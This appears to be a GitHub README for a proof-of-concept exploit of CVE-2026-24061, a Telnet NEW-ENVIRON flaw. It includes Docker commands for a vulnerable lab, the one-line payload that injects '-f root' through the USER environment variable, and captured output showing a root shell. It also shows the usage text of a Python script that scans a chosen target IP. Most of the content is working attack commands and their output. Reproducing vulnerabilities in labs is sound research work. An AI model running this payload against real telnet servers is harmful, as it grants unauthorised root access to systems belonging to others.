r00tuser111/cve-2026-24061Proof-of-concept exploit for CVE-2026-24061, a Telnet NEW-ENVIRON RCE vulnerability, with Docker reproduction environment and Python detection script.
Build the image
docker build -t telnetd-bypass .
Start the container
docker run -it --rm \
--name telnetd-vuln \
--privileged \
-p 23:23 \
telnetd-bypass
Send the payload
USER='-f root' telnet -a 127.0.0.1 23
Output
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Linux 6.10.14-linuxkit (c910afb30330) (pts/1)
Linux c910afb30330 6.10.14-linuxkit #1 SMP Tue Oct 14 07:32:13 UTC 2025 aarch64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 22 05:55:47 UTC 2026 from 172.64.155.119 on pts/1
root@c910afb30330:~#
python3 poc.py -h
usage: poc.py [-h] -t TARGET [-p PORT]
CVE-2026-24061 Telnet NEW-ENVIRON RCE vulnerability detection tool
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target IP address
-p PORT, --port PORT Target port (default: 23)
Examples:
poc.py -t 192.168.1.100 -p 23
poc.py --target 127.0.0.1 --port 23